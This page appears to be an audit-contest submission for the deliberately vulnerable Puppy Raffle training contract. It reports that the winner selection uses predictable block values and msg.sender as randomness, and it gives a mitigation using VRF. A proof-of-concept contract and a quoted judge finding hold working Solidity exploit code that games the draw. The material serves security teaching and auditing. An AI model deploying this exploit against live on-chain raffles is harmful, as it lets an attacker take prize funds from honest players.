Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Raffle winner selection is manipulable, allowing attacker to skew or repeatedly win

Root + Impact

Description

  • The intended behavior is that selectWinner picks a random winner among all current players after the raffle duration has passed, then mints a puppy NFT to that winner and distributes 80% of the pot as the prize and 20% as fees.

  • The actual implementation derives “randomness” from publicly known, easily influenced on‑chain values (msg.sender, block.timestamp, block.difficulty) and lets any address call selectWinner. A motivated attacker can repeatedly try to call selectWinner in chosen conditions to bias the outcome in their favor and win disproportionately often.

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex =
uint256(keccak256(
abi.encodePacked(
@> msg.sender,
@> block.timestamp,
@> block.difficulty
)
)) % players.length;
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
...
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
}

Risk

Likelihood: High

  • Reason 1: msg.sender is fully controlled by the caller of selectWinner, and block.timestamp/block.difficulty are predictable or miner‑influenced. Attackers can repeatedly attempt to call selectWinner (or coordinate with miners) only in blocks where the resulting winnerIndex favors them, significantly increasing their win rate.

  • Reason 2: There is no access control on selectWinner, no commit‑reveal scheme, and no verifiable randomness. As soon as the raffle duration elapses, any attacker can front‑run or time their call to selectWinner to maximize their chance of being picked, especially in low‑participation raffles or when they control multiple player entries.

Impact:

  • The attacker can systematically bias draws to win the majority of raffles, capturing both the prize pool (80% of collected entrance fees) and the NFTs, effectively extracting value from honest participants over time.

  • The economic fairness of the raffle is destroyed; players cannot rely on equal winning chances. Once discovered, this likely makes the protocol unusable, as informed users will not participate in a provably manipulable game.

Proof of Concept

contract BiasedWinner {
PuppyRaffle raffle;
constructor(PuppyRaffle _raffle) {
raffle = _raffle;
}
// Attacker funds several entries in advance and records their indexes offchain.
function tryWin() external {
// Pre-condition: block.timestamp >= raffleStartTime + raffleDuration
// Offchain, attacker simulates different candidate senders and checks:
// winnerIndex = uint256(keccak256(abi.encodePacked(
// candidateSender, block.timestamp, block.difficulty
// ))) % players.length
// Once they see that using this contract address as msg.sender produces
// winnerIndex pointing to one of their own entries, they call:
raffle.selectWinner();
// With sufficient attempts / control over timing, attacker can win
// an unreasonably large fraction of raffles.
}
}
interface PuppyRaffle {
function selectWinner() external;
}

In tests you can:

  1. Set up a raffle with a few honest players plus several attacker‑controlled entries.

  2. Mine until raffleStartTime + raffleDuration.

  3. For each new block, simulate off‑chain what winnerIndex would be for various attacker‑controlled sender addresses using the same formula as the contract.

  4. When a block is found where one of the attacker’s entries is chosen, send the selectWinner transaction from that address; assert that the attacker wins more often than statistically expected.

Recommended Mitigation

- function selectWinner() external {
- require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
- require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
- ...
+ // Use a proper source of randomness (e.g., Chainlink VRF) and a commit-reveal
+ // or callback-based pattern so callers cannot influence or predict the result.
+ function requestRandomWinner() external onlyOwner {
+ require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
+ require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
+ // 1) Request randomness from an oracle / VRF
+ }
+ // Called by VRF coordinator with a secure random value
+ function fulfillRandomness(uint256 random) internal {
+ uint256 winnerIndex = random % players.length;
+ address winner = players[winnerIndex];
+ uint256 totalAmountCollected = players.length * entranceFee;
+ uint256 prizePool = (totalAmountCollected * 80) / 100;
+ uint256 fee = (totalAmountCollected * 20) / 100;
+ totalFees = totalFees + uint64(fee);
+ delete players;
+ raffleStartTime = block.timestamp;
+ previousWinner = winner;
+ (bool success,) = winner.call{value: prizePool}("");
+ require(success, "PuppyRaffle: Failed to send prize pool to winner");
+ uint256 tokenId = totalSupply();
+ _safeMint(winner, tokenId);
+ }

If integrating an oracle/VRF is out of scope, a minimum hardening step would be:

  • Remove caller‑controlled inputs like msg.sender from the randomness source.

  • Use a commit‑reveal scheme where participants commit to randomness before the raffle and the result is derived from combined commits, not just current block attributes.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 3 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!